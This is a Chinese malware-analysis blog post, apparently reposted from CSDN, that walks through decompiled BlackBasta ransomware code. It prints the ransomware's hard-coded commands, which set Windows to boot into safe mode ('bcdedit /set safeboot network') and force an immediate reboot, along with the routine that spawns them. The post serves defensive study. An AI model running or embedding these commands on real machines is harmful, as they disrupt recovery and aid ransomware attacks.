当前位置: 首页> 健康> 养生 > 勒索软件分析_卷影副本删除行为分析

勒索软件分析_卷影副本删除行为分析

时间:2025/7/11 10:17:25来源:https://blog.csdn.net/kitsch0x97/article/details/139443385 浏览次数:0次

由于 BlackBasta 勒索软件通过命令行删除卷影副本,禁用Windows恢复和修复,并以安全模式引导电脑,而这些命令行以明文的方式嵌入在勒索软件代码中,如下图所示。

通过 IDA Pro 的反编译功能分析 BlackBasta 如何运行这些命令行,反编译后的代码如下。

# 根据函数 sub_40CEE0 确定是否执行命令行
if ( (unsigned __int8)sub_40CEE0(phkResult, (LPCWSTR)v10, (int)v11, (int)v12, v13, (int)v14, v15) )
{# 调用 sub_43DC04 函数执行命令行sub_43DC04("bcdedit /set safeboot network");sub_43DC04("C:\\Windows\\System32\\bcdedit.exe /set safeboot network");sub_43DC04("C:\\Windows\\SysNative\\bcdedit.exe /set safeboot network");v8 = sub_40FCB0(v24);v25 = 3;sub_40A440(v8);v25 = -1;sub_409620(v24);v22 = &v10;sub_406BD0(&unk_487294);v25 = -1;sub_410280(v10, (int)v11, (int)v12, v13, (int)v14, v15);# 执行 ShellExecuteA 函数,打开 cmd.exe,并执行命令"/C shutdown -r -f -t 0",进行系统关机重启操作。ShellExecuteA(0, "open", "cmd.exe", "/C shutdown -r -f -t 0", 0, 0);_loaddll(0);
}

通过分析上述代码,可知 sub_43DC04 是执行命令行的关键。通过交叉引用可知该函数中的命令行字符串被传递给了 sub_43DAE9 函数,该函数的代码如下:

BOOL __cdecl sub_43DAE9(char *a1)
{# 定义了变量v2、v3、v4、v5以及Block和FileName数组用于存储数据。errno_t v2; // esiint v3; // ediintptr_t v4; // esiint *v5; // eaxvoid *Block; // [esp+8h] [ebp-18h] BYREFchar *FileName[4]; // [esp+Ch] [ebp-14h] BYREF# 将Block初始化为0Block = 0;# 调用_dupenv_s函数获取环境变量"COMSPEC"的值,如果返回值为22,则调用_invoke_watson函数以触发一个错误报告。if ( _dupenv_s((char **)&Block, 0, "COMSPEC") == 22 )_invoke_watson(0, 0, 0, 0, 0);# 如果 a1 不为空,则为FileName数组赋值if ( a1 ){FileName[0] = (char *)Block;FileName[1] = "/c";FileName[2] = a1;FileName[3] = 0;if ( Block ){# 记录当前的errno值v3 = *_errno();# 将errno设置为0*_errno() = 0;# 通过_spawnve函数执行指定的命令v4 = _spawnve(0, FileName[0], (const char *const *)FileName, 0);v5 = _errno();# 检查_spawnve的返回值,若不为-1,恢复之前保存的errno值if ( v4 != -1 ){*v5 = v3;
LABEL_12:# 释放Block,返回_spawnve的返回值。_free_base(Block);return v4;}# 如果满足条件则,将v4设置为-1,跳转到LABEL_12。if ( *v5 != 2 && *_errno() != 13 ){v4 = -1;goto LABEL_12;}*_errno() = v3;}FileName[0] = "cmd.exe";# 如果需要执行cmd.exe命令,则调用_spawnvpe函数来执行。v4 = _spawnvpe(0, "cmd.exe", (const char *const *)FileName, 0);_free_base(Block);return v4;}if ( Block ){v2 = _access_s((const char *)Block, 0);_free_base(Block);return v2 == 0;}else{_free_base(0);return 0;}
}

上述代码的关键是通过 _spawnve 函数创建并执行新进程,通过上述代码可以实现上面三个命令行的执行。

关键字:勒索软件分析_卷影副本删除行为分析

版权声明:

本网仅为发布的内容提供存储空间,不对发表、转载的内容提供任何形式的保证。凡本网注明“来源:XXX网络”的作品,均转载自其它媒体,著作权归作者所有,商业转载请联系作者获得授权,非商业转载请注明出处。

我们尊重并感谢每一位作者,均已注明文章来源和作者。如因作品内容、版权或其它问题,请及时与我们联系,联系邮箱:809451989@qq.com,投稿邮箱:809451989@qq.com

责任编辑: